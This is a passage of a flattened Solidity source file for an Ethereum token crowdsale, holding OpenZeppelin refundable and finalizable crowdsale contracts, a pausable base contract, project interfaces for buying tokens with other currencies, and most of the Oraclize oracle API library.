onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/distribution/FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/distribution/utils/RefundVault.sol /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/distribution/RefundableCrowdsale.sol /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. * Uses a RefundVault as the crowdsale's vault. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; /** * @dev Constructor, creates RefundVault. * @param _goal Funding goal */ constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev vault finalization task, called when owner calls finalize() */ function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } // File: node_modules/openzeppelin-solidity/contracts/crowdsale/distribution/PostDeliveryCrowdsale.sol /** * @title PostDeliveryCrowdsale * @dev Crowdsale that locks tokens from withdrawal until it ends. */ contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) public balances; /** * @dev Withdraw tokens only after crowdsale ends. */ function withdrawTokens() public { require(hasClosed()); uint256 amount = balances[msg.sender]; require(amount > 0); balances[msg.sender] = 0; _deliverTokens(msg.sender, amount); } /** * @dev Overrides parent by storing balances instead of issuing tokens right away. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); } } // File: node_modules/openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts/crowdsale/OraclizeContractInterface.sol /** * @title OraclizeContractInterface * @dev OraclizeContractInterface **/ contract OraclizeContractInterface { function finalize() public; function buyTokensWithLTC(address _ethWallet, string _ltcWallet, uint256 _ltcAmount) public; function buyTokensWithBTC(address _ethWallet, string _btcWallet, uint256 _btcAmount) public; function buyTokensWithBNB(address _ethWallet, string _bnbWallet, uint256 _bnbAmount) public payable; function buyTokensWithBCH(address _ethWallet, string _bchWallet, uint256 _bchAmount) public payable; function getMultiCurrencyInvestorContribution(string _currencyWallet) public view returns(uint256); } // File: contracts/crowdsale/BurnableTokenInterface.sol /** * @title BurnableTokenInterface, defining one single function to burn tokens. * @dev BurnableTokenInterface **/ contract BurnableTokenInterface { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public; } // File: installed_contracts/oraclize-api/contracts/usingOraclize.sol // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while 